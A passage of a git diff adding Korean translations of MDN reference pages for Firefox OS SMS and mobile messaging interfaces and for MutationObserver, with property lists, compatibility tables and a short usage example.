+ <dd>스레드의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.body")}} {{readonlyinline}}</dt>
+ <dd>스레드의 마지막 메시지의 본문을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.unreadCount")}} {{readonlyinline}}</dt>
+ <dd>스레드에 있는 총 읽지 않은 메시지의 개수를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.participants")}} {{readonlyinline}}</dt>
+ <dd>스레드에 각 참가자의 주소를 나타내는 {{ domxref("DOMString") }} 의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.timestamp")}} {{readonlyinline}}</dt>
+ <dd>스레드의 마지막 메시지의 타임스탬프를 나타내는 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a></code> 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageThread.lastMessageType")}} {{readonlyinline}}</dt>
+ <dd><code>sms</code> 또는 <code>mms 값을 가지는 </code>{{ domxref("DOMString") }} 을 반환한다.</dd>
+</dl>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsevent/index.html b/files/ko/web/api/mozsmsevent/index.html
new file mode 100644
index 0000000000..14a7f48d51
--- /dev/null
+++ b/files/ko/web/api/mozsmsevent/index.html
@@ -0,0 +1,109 @@
+---
+title: MozSmsEvent
+slug: Web/API/MozSmsEvent
+translation_of: Archive/B2G_OS/API/MozSmsEvent
+---
+<p>{{ Apiref() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="요약">요약</h2>
+<p>DOM <code>MozSmsEvent</code> 는 WebSMS 문자 메시지와 관련된 이벤트 객체이다.</p>
+<h2 id="속성">속성</h2>
+<dl>
+ <dt>
+ {{domxref("MozSmsEvent.message")}} {{readonlyinline}}</dt>
+ <dd>
+ 해당 이벤트에 의해 발생된 {{ domxref("MozSmsMessage") }} 이다.</dd>
+</dl>
+<p><code>MozSmsEvent</code> 는 또한 {{domxref("Event")}} 의 속성들을 상속받는다.</p>
+<p>{{page("/en-US/docs/Web/API/Event","Properties")}}</p>
+<h2 id="메소드">메소드</h2>
+<p><code>MozSmsEvent</code> 는 {{domxref("Event")}} 의 메소드들을 상속받는다.</p>
+<p>{{page("/en-US/docs/Web/API/Event","Methods")}}</p>
+<h2 id="이벤트">이벤트</h2>
+<p><code>MozSmsEvent</code> 는 다음과 같은 이벤트들에 사용된다:</p>
+<dl>
+ <dt>
+ {{event("deliverysuccess")}}</dt>
+ <dd>
+ SMS가 수신자에게 전달되었을 때 발생한다.</dd>
+ <dt>
+ {{event("received")}}</dt>
+ <dd>
+ SMS를 받았을 때 발생한다.</dd>
+ <dt>
+ {{event("sent")}}</dt>
+ <dd>
+ SMS를 보냈을 때 발생한다.</dd>
+</dl>
+<h2 id="스펙">스펙</h2>
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.</p>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h2 id="참고_자료">참고 자료</h2>
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+ <li>{{ domxref("MozSmsMessage") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsfilter/index.html b/files/ko/web/api/mozsmsfilter/index.html
new file mode 100644
index 0000000000..001d55e2a8
--- /dev/null
+++ b/files/ko/web/api/mozsmsfilter/index.html
@@ -0,0 +1,108 @@
+---
+title: MozSmsFilter
+slug: Web/API/MozSmsFilter
+translation_of: Archive/B2G_OS/API/MozSmsFilter
+---
+<p>{{ Apiref() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="요약">요약</h2>
+<p>DOM <code>MozSmsFilter</code> 인터페이스는 {{ domxref("SmsMessage") }} 객체들을 필터링하기 위한 방법을 제공합니다.</p>
+<h2 id="속성">속성</h2>
+<dl>
+ <dt>
+ {{domxref("MozSmsFilter.startDate")}}</dt>
+ <dd>
+ 메시지를 필터링하기 위한 시작일을 나타내는 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> 이다.</dd>
+ <dt>
+ {{domxref("MozSmsFilter.endDate")}}</dt>
+ <dd>
+ 메시지를 필터링하기 위한 종료일을 나타내는 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> 이다.</dd>
+ <dt>
+ {{domxref("MozSmsFilter.numbers")}}</dt>
+ <dd>
+ 전화번호로 필터링하기 위한 {{ domxref("DOMString") }} 의 배열이다.</dd>
+ <dt>
+ {{domxref("MozSmsFilter.delivery")}}</dt>
+ <dd>
+ 메시지를 전달 상태에 따라 필터링하기 위해 "sent"와 "received" 값을 가지게 되는 {{ domxref("DOMString") }} 이다.</dd>
+ <dt>
+ {{domxref("MozSmsFilter.read")}}</dt>
+ <dd>
+ 메시지를 읽었는지 읽지 않았는지를 필터링하는 Boolean 이다.</dd>
+ <dt>
+ {{domxref("MozSmsFilter.threadid")}}</dt>
+ <dd>
+ 스레드 id를 나타내는 숫자이다.</dd>
+</dl>
+<h2 id="스펙">스펙</h2>
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+<p>당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.</p>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<h2 id="참고_자료">참고 자료</h2>
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+ <li>{{ domxref("MozSmsMessage") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsmanager/index.html b/files/ko/web/api/mozsmsmanager/index.html
new file mode 100644
index 0000000000..bfea424be7
--- /dev/null
+++ b/files/ko/web/api/mozsmsmanager/index.html
@@ -0,0 +1,95 @@
+---
+title: MozSmsManager
+slug: Web/API/MozSmsManager
+tags:
+ - Firefox OS
+ - Mobile
+ - Non-standard
+ - Obsolete
+ - Reference
+ - WebSMS
+translation_of: Archive/B2G_OS/API/MozSmsManager
+---
+<div>{{APIRef("Mobile Messaging API")}}</div>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> As of <span title="(Firefox 25.0 / Thunderbird 25.0 / SeaMonkey 2.22)">Gecko 25.0</span>, this interface has been removed in favor of <a href="/en-US/docs/Web/API/MozMobileMessageManager" title="The documentation about this has not yet been written; please consider contributing!"><code>MozMobileMessageManager</code></a>.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>기기에서 WebSMS를 사용하여 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.</p>
+
+<h2 id="이벤트_핸들러">이벤트 핸들러</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsManager.ondeliveryerror")}}</dt>
+ <dd>{{event("deliveryerror")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되지 않았을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.ondeliverysuccess")}}</dt>
+ <dd>{{event("deliverysuccess")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되었을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.onreceived")}}</dt>
+ <dd>{{event("received")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS를 받았을 때 발생한다..</dd>
+ <dt>{{domxref("MozSmsManager.onsent")}}</dt>
+ <dd>{{event("sent")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 보내졌을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.onsending")}}</dt>
+ <dd>{{event("sending")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 전송 단계의 시작에 SMS가 진입했을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.onfailed")}}</dt>
+ <dd>{{event("failed")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsManager.delete","MozSmsManager.delete(param)")}}</dt>
+ <dd>메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다 (<code>DOMRequest.result는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다).</code> 메시지 <code>id</code> 또는 {{ domxref("MozSmsMessage") }} 객체가 파라미터로 사용된다.</dd>
+ <dt>{{domxref("MozSmsManager.getMessage()","MozSmsManager.getMessage(id)")}}</dt>
+ <dd>해당<code> id에 대한 메시지를 받아서 </code>{{ domxref("DOMRequest") }} 객체를 반환한다.  <code>이 객체의 DOMRequest.result는</code> {{ domxref("MozSmsMessage") }} 이다.</dd>
+ <dt>{{domxref("MozSmsManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}</dt>
+ <dd>여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 boolean 값에 따라 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozSmsManager.getSegmentInfoForText()","MozSmsManager.getSegmentInfoForText(text)")}}</dt>
+ <dd>주어진 문자(보통 SMS 당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.</dd>
+ <dt>{{domxref("MozSmsManager.markMessageRead()","MozSmsManager.markMessageRead(id, isRead)")}}</dt>
+ <dd>해당 <code>id의 메시지를 </code>Boolean <code>isRead 값에 따라 읽음 또는 읽지 않음으로 표시한다. </code>{{ domxref("DOMRequest") }}<code> 객체를 반환한다.</code></dd>
+ <dt>{{domxref("MozSmsManager.send()","MozSmsManager.send(number, message)")}}</dt>
+ <dd>해당 <code>전화번호</code>에 메시지를 전송한다. 만약 <code>number가 </code>{{ domxref("DOMString") }} (한 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 <code>number</code>가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozSmsManager.getThreads()")}}</dt>
+ <dd>{{domxref("MozMobileMessageThread")}}의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환된다.</dd>
+</dl>
+
+<p><code>MozSmsManager</code> 는 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.</p>
+
+<p>{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsEvent") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsmessage/index.html b/files/ko/web/api/mozsmsmessage/index.html
new file mode 100644
index 0000000000..7918a44209
--- /dev/null
+++ b/files/ko/web/api/mozsmsmessage/index.html
@@ -0,0 +1,56 @@
+---
+title: MozSmsMessage
+slug: Web/API/MozSmsMessage
+tags:
+ - Non-standard
+translation_of: Archive/B2G_OS/API/MozSmsMessage
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozSmsMessage</code> 객체는 SMS 문자 메시지를 나타내며 발신자, 수신자, 본문, 날짜와 같은 모든 정보를 가지고 있다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsMessage.type")}} {{readonlyinline}}</dt>
+ <dd><code>sms라는 값을 가지는 문자열이다</code>.</dd>
+ <dt>{{domxref("MozSmsMessage.id")}} {{readonlyinline}}</dt>
+ <dd>메시지의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.threadId")}} {{readonlyinline}}</dt>
+ <dd>메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.body")}} {{readonlyinline}}</dt>
+ <dd>메시지의 본문을 나타내는 {{ domxref("DOMString") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.delivery")}} {{readonlyinline}}</dt>
+ <dd><code>received</code>, <code>sending</code>, <code>sent</code>, <code>error</code> 중 하나의 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.deliveryStatus")}} {{readonlyinline}}</dt>
+ <dd><code>delivery 속성 값에 따라 다음과 같은 </code>{{ domxref("DOMString") }} 을 반환한다:<br>
+ * <code>received</code> : <code>success</code><br>
+ * <code>sending </code> : <code>pending</code> 또는 <code>not-applicable</code> (만약 메시지가 상태 보고 요청없이 전송되었다면)<br>
+ * <code>sent    </code> : <code>pending</code>, <code>success</code>, <code>error</code> 또는 <code>not-applicable</code> (만약 메시지가 상태 보고 요청없이 전송되었다면)<br>
+ * <code>error   </code> : <code>error</code></dd>
+ <dt>{{domxref("MozSmsMessage.read")}} {{readonlyinline}}</dt>
+ <dd>메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.receiver")}} {{readonlyinline}}</dt>
+ <dd>수신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.sender")}} {{readonlyinline}}</dt>
+ <dd>발신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.timestamp")}} {{readonlyinline}}</dt>
+ <dd>메시지의 타임스탬프인 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a> 객체를 반환한다.</code></dd>
+ <dt>{{domxref("MozSmsMessage.messageClass")}} {{readonlyinline}}</dt>
+ <dd><code>normal</code>, <code>class-0</code>, <code>class-1</code>, <code>class-2</code>, <code>class-3</code> 중 하나의 {{ domxref("DOMString") }} 을 반환한다.</dd>
+</dl>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmssegmentinfo/index.html b/files/ko/web/api/mozsmssegmentinfo/index.html
new file mode 100644
index 0000000000..02f324b453
--- /dev/null
+++ b/files/ko/web/api/mozsmssegmentinfo/index.html
@@ -0,0 +1,36 @@
+---
+title: MozSmsSegmentInfo
+slug: Web/API/MozSmsSegmentInfo
+tags:
+ - Non-standard
+translation_of: Archive/B2G_OS/API/MozSmsSegmentInfo
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozSmsSegmentInfo</code> 인터페이스는 문자가 자동으로 어떻게 세그멘트로 나누어지는에 관한 정보를 제공합니다. 각 세그먼트는 멀티 파트 SMS 메시지의 단일 SMS를 나타냅니다.</p>
+
+<p><code>MozSmsSegmentInfo</code> 인터페이스는 직접적으로 인스턴스화 될 수 없습니다; 각 객체를 얻기 위해서는 {{domxref("MozSmsManager.getSegmentInfoForText()")}} 메소드를 사용하십시오.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsSegmentInfo.segments")}} {{readonlyinline}}</dt>
+ <dd>입력 문자열에 대한 총 세그먼트의 개수이다.</dd>
+ <dt>{{domxref("MozSmsSegmentInfo.charsPerSegment")}} {{readonlyinline}}</dt>
+ <dd>각 세그먼트당 사용 가능한 문자의 개수이다.</dd>
+ <dt>{{domxref("MozSmsSegmentInfo.charsAvailableInLastSegment")}} {{readonlyinline}}</dt>
+ <dd>마지막 세그먼트에서 사용 가능한 문자의 최대 개수이다.</dd>
+</dl>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mutationobserver/index.html b/files/ko/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..092b7c5634
--- /dev/null
+++ b/files/ko/web/api/mutationobserver/index.html
@@ -0,0 +1,240 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> 는 개발자들에게 <a href="/en-US/docs/DOM">DOM</a> 변경 감시를 제공합니다. DOM3 이벤트 기술 설명서에 정의된 <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a> 를 대체합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<h3 id="MutationObserver"><code>MutationObserver()</code></h3>
+
+<p>새 DOM 변경 감시자의 인스턴스화에 대한 생성자.</p>
+
+<pre class="syntaxbox">new MutationObserver(
+ function callback
+);
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>콜백 함수는 각 DOM 변경시 마다 호출될 것입니다. 감시자는 두 인자와 함께 이 함수를 호출할 것입니다. 첫째 인자는 오브젝트들의 배열이며, 오브젝트의 각 형식은 {{domxref("MutationRecord")}} 입니다. 둘째 인자는 이 <code>MutationObserver</code> 인스턴스 입니다.</dd>
+</dl>
+
+<h2 id="인스턴스_함수들">인스턴스 함수들</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} target, <a href="#MutationObserverInit">MutationObserverInit</a> options );</code></td>
+ </tr>
+ <tr>
+ <td><code>void <a href="#disconnect()">disconnect</a>();</code></td>
+ </tr>
+ <tr>
+ <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>주</strong>: {{domxref("Node")}}의 대상은 <a href="https://nodejs.org/en/">NodeJS</a> 와 혼동되지 말아야 합니다.</p>
+</div>
+
+<h3 id="observe"><code>observe()</code></h3>
+
+<p>특정 노드에서 DOM 변경의 알림을 받을 수 있도록 <code>MutationObserver</code> 인스턴스를 등록.</p>
+
+<pre class="syntaxbox">void observe(
+ {{domxref("Node")}} target,
+ <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> options
+);
+</pre>
+
+<h6 id="파라미터">파라미터</h6>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>DOM 변경을 감시할 {{domxref("Node")}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>DOM 변경이 보고되어야 할 특정 <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> 객체.</dd>
+</dl>
+
+<div class="note">주: observer를 element에 추가하는 것은 addEventListner와 비슷하며, 여러 번 element를 관찰하더라도 차이가 나지 않습니다. element를 두번 관찰한다고해서 observe callback이 두 번 발생하지 않으며, disconnect()를 두번 실행하지 않아도 됩니다. 다시 말해서, 한번 element를 관찰하면 동일한 observer instance로 다시 관찰하더라도 아무 일이 발생하지 않습니다. 물론 callback object가 다르다면 다른 observer를 추가합니다.</div>
+
+<h3 id="disconnect"><code>disconnect()</code></h3>
+
+<p>DOM 변경 알림을 받는 <code>MutationObserver</code> 인스턴스 중지. <a href="#observe()"><code>observe()</code></a> 재사용시까지 감시 콜백은 발동되지 않을 것입니다.</p>
+
+<pre class="syntaxbox">void disconnect();
+</pre>
+
+<h3 id="takeRecords"><code>takeRecords()</code></h3>
+
+<p><code>MutationObserver</code> 인스턴스의 레코드 큐를 비우고 안에 든것을 반환합니다.</p>
+
+<pre class="syntaxbox">Array takeRecords();
+</pre>
+
+<h6 id="반환값">반환값</h6>
+
+<p>{{domxref("MutationRecord")}}들의 배열을 반환.</p>
+
+<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> 는 다음 속성들을 가진 객체입니다:</p>
+
+<div class="note">주: 최소한 <code>childList</code>, <code>attributes</code>, 또는 <code>characterData</code>는 <code>true</code>로 설정해야합니다. 그렇지 않으면 'An invalid or ilegal string was specified' 오류가 발생합니다. </div>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">속성</td>
+ <td class="header">설명</td>
+ </tr>
+ <tr>
+ <td><code>childList</code></td>
+ <td>Set to <code>true</code> if additions and removals of the target node's child elements (including text nodes) are to be observed.</td>
+ </tr>
+ <tr>
+ <td><code>attributes</code></td>
+ <td>Set to <code>true</code> if mutations to target's attributes are to be observed.</td>
+ </tr>
+ <tr>
+ <td><code>characterData</code></td>
+ <td>Set to <code>true</code> if mutations to target's data are to be observed.</td>
+ </tr>
+ <tr>
+ <td><code>subtree</code></td>
+ <td>Set to <code>true</code> if mutations to target and target's descendants are to be observed.</td>
+ </tr>
+ <tr>
+ <td><code>attributeOldValue</code></td>
+ <td>Set to <code>true</code> if <code>attributes</code> is set to <code>true</code> and target's attribute value before the mutation needs to be recorded.</td>
+ </tr>
+ <tr>
+ <td><code>characterDataOldValue</code></td>
+ <td>Set to <code>true</code> if <code>characterData</code> is set to <code>true</code> and target's data before the mutation needs to be recorded.</td>
+ </tr>
+ <tr>
+ <td><code>attributeFilter</code></td>
+ <td>Set to an array of attribute local names (without namespace) if not all attribute mutations need to be observed.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="사용_예">사용 예</h2>
+
+<p>다음 예제는 <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">이 블로그 글</a>에서 발췌했습니다.</p>
+
+<pre class="brush: js">// 대상 node 선택
+var target = document.getElementById('some-id');
+
+// 감시자 인스턴스 만들기
+var observer = new MutationObserver(function(mutations) {
+ mutations.forEach(function(mutation) {
+ console.log(mutation.type);
+ });
+});
+
+// 감시자의 설정:
+var config = { attributes: true, childList: true, characterData: true };
+
+// 감시자 옵션 포함, 대상 노드에 전달
+observer.observe(target, config);
+
+// 나중에, 감시를 중지 가능
+observer.disconnect();
+</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">A brief overview</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">A more in-depth discussion</a></li>
+ <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">A screencast by Chromium developer Rafael Weinstein</a></li>
+ <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">The mutation summary library</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">규격</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">규격</th>
+ <th scope="col">상태</th>
+ <th scope="col">의견</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td>
+ <td>{{ Spec2('DOM WHATWG') }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}</td>
+ <td>{{ Spec2('DOM4') }}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>크롬</th>
+ <th>파이어폭스 (Gecko)</th>
+ <th>인터넷 익스플로러</th>
+ <th>오페라</th>
+ <th>사파리</th>
+ </tr>
+ <tr>
+ <td>기본 지원</td>
+ <td>18 {{property_prefix("-webkit")}}<br>
+ 26</td>
+ <td>{{CompatGeckoDesktop(14)}}</td>
+ <td>11</td>
+ <td>15</td>
+ <td>6.0 {{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>안드로이드</th>
+ <th>안드로이드용 크롬</th>
+ <th>파이어폭스 모바일 (Gecko)</th>
+ <th>IE 폰</th>
+ <th>오페라 모바일</th>
+ <th>사파리 모바일</th>
+ </tr>
+ <tr>
+ <td>기본 지원</td>
+ <td>4.4</td>
+ <td>18 {{property_prefix("-webkit")}}<br>
+ 26</td>
+ <td>{{CompatGeckoMobile(14)}}</td>
+ <td>11 (8.1)</td>
+ <td>15</td>
+ <td>6 {{property_prefix("-webkit")}}<br>
+ 7</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/navigator/battery/index.html b/files/ko/web/api/navigator/battery/index.html
new file mode 100644
index 0000000000..1acf5f111b
--- /dev/null
+++ b/files/ko/web/api/navigator/battery/index.html
